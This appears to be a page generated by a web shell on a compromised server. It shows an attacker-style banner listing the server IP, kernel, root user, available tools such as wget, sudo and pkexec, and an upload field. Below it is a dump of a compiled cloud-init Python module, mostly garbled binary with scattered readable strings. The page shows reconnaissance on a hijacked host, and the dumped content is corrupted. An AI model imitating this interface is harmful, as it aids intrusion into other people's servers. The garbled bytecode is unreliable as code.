Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/cloudinit/distros/__pycache__/ |
Upload File : |
o x[hn � @ sl d dl Z d dlmZmZmZmZmZ d dlmZ d dlm Z d dlmZm Z e �e�ZG dd� dej�ZdS )� N)�distros�helpers�net�subp�util)�PackageList)� rhel_util)� PER_ALWAYS�PER_INSTANCEc @ s� e Zd ZdZdZdZdZdeed�iZdZdd � Z d$d d�Z dd � Zd%dd�Zde fdd�Zdd� Zdd� Zd%dd�Zdd� Zdd� Zd&dd�Zd d!�d"d#�ZdS )'�Distroz /etc/hostnamez/etc/systemd/network/z/etc/locale.confz/etc/systemd/resolved.conf�networkd)�resolv_conf_fn�network_conf_dirTc C s0 t j�| |||� t�|�| _d| _dg| _d S )N�photon� systemctl)r r �__init__r �Runners�_runner�osfamily�init_cmd)�self�name�cfg�paths� r �:/usr/lib/python3/dist-packages/cloudinit/distros/photon.pyr s zDistro.__init__c C sn t �d|� ztj||d�\}}|rt �d||� d||fW S d||fW S tjy6 t�t d|� Y dS w )NzAttempting to run: %s)�capturez(Running %s resulted in stderr output: %sTFzCommand %s failed)TNN)�LOG�debugr �warning�ProcessExecutionErrorr �logexc)r �cmdr �out�errr r r �exec_cmd( s ��zDistro.exec_cmdc C s: d}| j �|d�}t�d||� |st�� S t�d� d S )N�disable_fallback_netcfgTz%s value is: %szJSkipping generate_fallback_config. Rely on PhotonOS default network config)�_cfg�getr r r �generate_fallback_config�info)r �keyr&